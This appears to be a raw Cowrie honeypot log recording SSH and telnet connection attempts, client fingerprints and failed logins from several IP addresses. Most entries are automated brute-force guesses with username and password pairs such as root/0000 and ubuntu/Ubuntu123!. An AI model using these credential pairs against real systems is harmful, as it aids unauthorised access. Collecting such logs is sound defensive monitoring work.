{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35920,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dd244d06e76","protocol":"ssh","message":"New connection: 91.92.42.227:35920 (10.17.0.5:22) [session: 8dd244d06e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:25.591447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:26.417176Z","src_ip":"91.92.42.227","session":"8dd244d06e76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:26.420419Z","src_ip":"91.92.42.227","session":"8dd244d06e76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:31.037549Z","src_ip":"91.92.42.227","session":"8dd244d06e76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35978,"dst_ip":"10.17.0.5","dst_port":22,"session":"78b51dd3ac2a","protocol":"ssh","message":"New connection: 91.92.42.227:35978 (10.17.0.5:22) [session: 78b51dd3ac2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:32.357029Z"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:33.164910Z","src_ip":"91.92.42.227","session":"8dd244d06e76","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:33.370288Z","src_ip":"91.92.42.227","session":"78b51dd3ac2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:33.373027Z","src_ip":"91.92.42.227","session":"78b51dd3ac2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":43580,"dst_ip":"159.203.135.109","dst_port":22,"session":"eec461abc26e","protocol":"ssh","message":"New connection: 103.252.123.105:43580 (159.203.135.109:22) [session: eec461abc26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:38.034210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:38.038057Z","src_ip":"103.252.123.105","session":"eec461abc26e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:38.262367Z","src_ip":"103.252.123.105","session":"eec461abc26e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123!","message":"login attempt [ubuntu/Ubuntu123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:38.277087Z","src_ip":"91.92.42.227","session":"78b51dd3ac2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54270,"dst_ip":"10.17.0.5","dst_port":22,"session":"6150aa596e2f","protocol":"ssh","message":"New connection: 91.92.42.227:54270 (10.17.0.5:22) [session: 6150aa596e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:39.050220Z"}
{"eventid":"cowrie.login.failed","username":"opole","password":"opole123","message":"login attempt [opole/opole123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:39.194231Z","src_ip":"103.252.123.105","session":"eec461abc26e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:40.062658Z","src_ip":"91.92.42.227","session":"6150aa596e2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:40.081531Z","src_ip":"91.92.42.227","session":"6150aa596e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:40.337312Z","src_ip":"91.92.42.227","session":"78b51dd3ac2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:40.421456Z","src_ip":"103.252.123.105","session":"eec461abc26e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":37684,"dst_ip":"10.17.0.5","dst_port":22,"session":"a110bec3cdc8","protocol":"ssh","message":"New connection: 193.37.70.224:37684 (10.17.0.5:22) [session: a110bec3cdc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:42.160731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:42.165384Z","src_ip":"193.37.70.224","session":"a110bec3cdc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:42.254277Z","src_ip":"193.37.70.224","session":"a110bec3cdc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:42.522639Z","src_ip":"193.37.70.224","session":"a110bec3cdc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:43.613542Z","src_ip":"193.37.70.224","session":"a110bec3cdc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:45.521210Z","src_ip":"91.92.42.227","session":"6150aa596e2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53024,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd5bb4d9d751","protocol":"ssh","message":"New connection: 91.92.42.227:53024 (10.17.0.5:22) [session: cd5bb4d9d751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:46.901646Z"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:47.352646Z","src_ip":"91.92.42.227","session":"6150aa596e2f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:47.651311Z","src_ip":"91.92.42.227","session":"cd5bb4d9d751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:47.656652Z","src_ip":"91.92.42.227","session":"cd5bb4d9d751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:50.218596Z","src_ip":"91.92.42.227","session":"cd5bb4d9d751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:51.648955Z","src_ip":"91.92.42.227","session":"cd5bb4d9d751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42286,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8cc196e3d8c","protocol":"telnet","message":"New connection: 128.199.8.54:42286 (159.203.135.109:23) [session: e8cc196e3d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:52.326881Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47508,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b260e924c7e","protocol":"ssh","message":"New connection: 91.92.42.227:47508 (10.17.0.5:22) [session: 7b260e924c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:54.977800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:54.985546Z","src_ip":"91.92.42.227","session":"7b260e924c7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:55.062741Z","src_ip":"91.92.42.227","session":"7b260e924c7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:55.583411Z","src_ip":"91.92.42.227","session":"7b260e924c7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:35:56.735011Z","src_ip":"91.92.42.227","session":"7b260e924c7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47578,"dst_ip":"10.17.0.5","dst_port":22,"session":"d66d2ad6cf17","protocol":"ssh","message":"New connection: 91.92.42.227:47578 (10.17.0.5:22) [session: d66d2ad6cf17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:01.379539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:01.522600Z","src_ip":"91.92.42.227","session":"d66d2ad6cf17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:01.527156Z","src_ip":"91.92.42.227","session":"d66d2ad6cf17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.277974128723145,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:01.991381Z","src_ip":"128.199.8.54","session":"258892d0ff0f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:03.356599Z","src_ip":"91.92.42.227","session":"d66d2ad6cf17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:04.834977Z","src_ip":"91.92.42.227","session":"d66d2ad6cf17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36578,"dst_ip":"159.203.135.109","dst_port":23,"session":"a28c94dbb937","protocol":"telnet","message":"New connection: 172.81.62.90:36578 (159.203.135.109:23) [session: a28c94dbb937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:08.084477Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59654,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fc8468fb68d","protocol":"ssh","message":"New connection: 91.92.42.227:59654 (10.17.0.5:22) [session: 6fc8468fb68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:08.176270Z"}
